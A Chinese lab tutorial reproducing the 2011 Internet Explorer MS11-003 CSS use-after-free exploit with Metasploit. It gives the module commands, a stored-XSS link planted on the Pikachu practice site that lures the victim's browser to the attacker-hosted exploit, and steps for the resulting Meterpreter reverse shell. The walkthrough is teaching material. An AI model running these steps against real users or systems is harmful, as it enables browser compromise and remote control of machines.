ms11-003漏洞复现:原理详解+渗透实践(CVE-2010-3971, CVE-2011-0035)

目录

一、ms11-003漏洞

(一)MS11-003 简介

(二)影响版本

(三)核心原理

二、MSF

(一)MSF简介

(二)渗透流程

三、渗透实战

(一)渗透环境

(二)攻击者配置MSF

1、启动MSF

2、查找ms11-003

3、选择攻击模块

4、配置攻击信息

(三)攻击者配置XSS

(四)受害者点击XSS

1、访问pikachu靶场存储型XSS页面

2、点击Click to Download

(五)攻击机渗透成功

(六)后渗透

1、进入会话

2. 获取用户id

3、显示靶机系统信息

4、查看ip地址


本文介绍了利用MS11-003漏洞结合Metasploit框架进行渗透测试的实战过程。MS11-003是2011年微软紧急发布的IE浏览器远程代码执行漏洞,主要影响IE6-8版本。攻击者通过构造恶意CSS文件触发"释放后使用"漏洞执行任意代码。实验使用Kali作为攻击机(192.168.59.137),Windows Server 2008 R2作为靶机(192.168.59.130)。通过Metasploit配置ms11_003_ie_css_import模块生成恶意链接,在Pikachu靶场存储型XSS页面植入该链接。当靶机用户点击链接后,成功建立Meterpreter会话,实现系统信息获取等后渗透操作。实验验证了老旧系统未打补丁的安全风险及XSS与漏洞利用结合的危害性。

一、ms11-003漏洞

(一)MS11-003 简介

MS11-003 是微软于 2011年2月 发布的一个紧急(Out-of-Band) 安全公告,旨在修复 Microsoft Internet Explorer 浏览器中存在的两个远程代码执行漏洞。由于其危害性高且当时已出现公开的攻击概念代码,微软打破了每月定期发布的惯例,紧急推出了该补丁。

项目内容
官方名称Internet Explorer 的累积性安全更新
发布日期2011年2月(紧急发布)
严重等级严重
影响产品Internet Explorer 6, 7, 8
影响系统Windows XP, Server 2003, Vista, Server 2008, 7
修复漏洞CVE-2010-3971, CVE-2011-0035
补丁编号KB2482017

(二)影响版本

此漏洞主要影响较旧版本的Windows操作系统和IE浏览器:

  • Internet Explorer 6

  • Internet Explorer 7

  • Internet Explorer 8

这些版本的IE运行于以下系统:

  • Windows XP

  • Windows Server 2003

  • Windows Vista

  • Windows Server 2008

  • Windows 7

  • Windows Server 2008 R2

(三)核心原理

MS11-003 漏洞的核心原理是 Internet Explorer 浏览器在处理递归导入的CSS文件时,存在一个“释放后使用”漏洞。攻击者可以构造一个特殊的网页,诱使IE错误地释放一个仍在使用的内存对象,随后再重新利用这块已被释放的内存来执行任意代码。通俗地讲,这就像是IE浏览器在管理内存时犯了一个错误:

  • 它告诉系统:“这块内存我不用了,你可以回收了”(释放)。

  • 但之后不久,它又试图去使用这块已经被回收的内存(使用)。

  • 攻击者巧妙地在这个空当里,往这块内存里塞进了自己的恶意代码。

  • 当IE再次使用这块内存时,实际上执行的是攻击者的代码

二、MSF

(一)MSF简介

Metasploit Framework (MSF) 是一个世界领先的、开源的渗透测试平台。它提供了一套强大的工具集,让安全专业人员能够开发、测试和执行针对已知漏洞的利用代码(Exploits)。Metasploit Framework 由多个功能模块组成,具体如下所示。

模块类型中文名作用描述
Exploit漏洞利用这是MSF的核心。它是包含攻击代码的模块,利用特定软件或系统中的已知漏洞
Payload攻击载荷在成功利用漏洞后,真正在目标系统上执行的代码。比如提供一个远程命令行 shell 或者一个 Meterpreter 会话。
Auxiliary辅助模块执行各种辅助功能的模块,不直接在目标上执行代码。例如:扫描、指纹识别、密码爆破、漏洞扫描等。
Encoder编码器对 Payload 进行编码,目的是绕过杀毒软件的静态检测。
NOP空指令生成器生成空操作指令,用于在内存中平滑执行流程,提高 exploit 的可靠性。

(二)渗透流程

  • 信息收集 (Reconnaissance):使用 Auxiliary 模块进行端口扫描、服务版本探测等,寻找潜在的攻击入口。

  • 选择并配置 Exploit:根据发现的漏洞,选择合适的 Exploit 模块。并设置必要选项,如目标地址 (RHOST)、目标端口 (RPORT)。

  • 选择并配置 Payload:选择你希望在目标系统上执行的 Payload。并设置其选项,例如:你的监听IP (LHOST) 和端口 (LPORT)。(这是 reverse_tcp payload 所必需的)。

  • 规避检测 (可选):使用 Encoder 对 Payload 进行编码,以尝试绕过杀毒软件。

  • 执行攻击:运行 exploit或run 命令。

  • 后期渗透:如果攻击成功,你将获得一个会话(例如一个 Meterpreter shell)。在此阶段,你可以进行权限提升、横向移动、数据提取等各种操作。

三、渗透实战

(一)渗透环境

靶机使用windows server2008 R2环境,其中靶机、攻击机Kali处于同一网段(均使用Vmnet8网卡),做实验前需要确保kali和靶机是可以互相联通的。本文的渗透环境角色分配如下所示。

角色IP地址/URL说明
攻击机 (Kali)192.168.59.137攻击机Kali,运行Metasploit等渗透测试工具。
靶机192.168.59.130您要攻击测试的目标机器(例如:一台存在漏洞的Windows虚拟机)。
Pikachu靶场网关192.168.59.1Pikachu靶场所在服务器或虚拟机的网关地址。
Pikachu靶场存储型XSS漏洞页面http://127.0.0.1/pikachu/vul/xss/xss_stored.php注意:此URL是从靶机(192.168.59.130)本机访问的地址。

(二)攻击者配置MSF

1、启动MSF

攻击机使用msconsole启动MSF模块

msfconsole

2、查找ms11-003

MS11-003 是微软在2011年发布的一个紧急安全更新编号,用于修复IE浏览器中可导致电脑被远程控制的高危漏洞名称,

search ms11-003

执行 search ms11-003 命令,Metasploit 返回了与之匹配的模块。结果显示只有一个 exploit 模块:exploit/windows/browser/ms11_003_ie_css_import

3、选择攻击模块

进入ms11_003漏洞渗透模块,并展示配置选项。

use 0
show options

使用 use 0 命令选择了该模块。Metasploit 自动配置了默认的Payload(攻击载荷):windows/meterpreter/reverse_tcp。这是一个反向TCP连接的Meterpreter shell,成功后会回连到您的攻击机。

4、配置攻击信息

配置服务相关信息并开启渗透(此时ip地址填写的是攻击机的ip地址)

set SRVHOST 192.168.59.137
set URIPATH ljn
run
  • set SRVHOST 192.168.59.137: 您将服务端主机地址设置为您Kali攻击机的IP地址。这是用来托管恶意网页的服务器地址。

  • set URIPATH ljn: 您将访问的URI路径设置为 ljn。这意味着恶意URL将是 http://192.168.59.137:8080/ljn

运行结果如下所示,复制下来链接http://192.168.59.137:8080/ljn后续构造XSS Payload时会用到。

使用 run 命令启动攻击模块。Metasploit 将其作为后台作业运行,从输出信息可以看到:

  • [*] Started reverse TCP handler on 192.168.59.137:4444: 在4444端口启动了反向TCP监听器,等待目标系统上线(即中招后回连到这个端口)。

  • [*] Using URL: http://192.168.59.137:8080/ljn: 成功创建了恶意网址。

  • [*] Server started.: 攻击服务器已经启动并运行。

(三)攻击者配置XSS

在pikachu靶场的存储型XSS中,注入如下语句。

<a href="http://192.168.59.137:8080/ljn">Click to download</a>

该XSS语句含义是创建了一个文本为“Click to download”(点击下载)的网页链接。指向地址:当用户点击这个链接时,他们的网页浏览器会尝试访问 http://192.168.59.137:8080/ljn 这个URL。

插入后效果如下所示,多了一个Click to Download的下载链接。

(四)受害者点击XSS

1、访问pikachu靶场存储型XSS页面

在靶机(windows server2008)中使用ie访问存储型XSS页面,如下所示。

http://192.168.59.1/pikachu/vul/xss/xss_stored.php

2、点击Click to Download

(五)攻击机渗透成功

此时回到kali攻击机查看攻击效果,如下所示靶机192.168.59.130与攻击机192.168.59.137成功建立shell连接。

回到Metasploit命令行,使用 sessions  sessions -l 命令查看是否建立了新的会话,如下所示。

备注:这里共有两个,因为我刚刚click2

(六)后渗透

1、进入会话

使用 sessions -i <会话ID>(例如 sessions -i 1)来交互并控制目标机器

备注:这里我选择第2个,大家根据实际情况任选一个即可,主要是要选存在的id

2. 获取用户id

3、显示靶机系统信息

4、查看ip地址

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值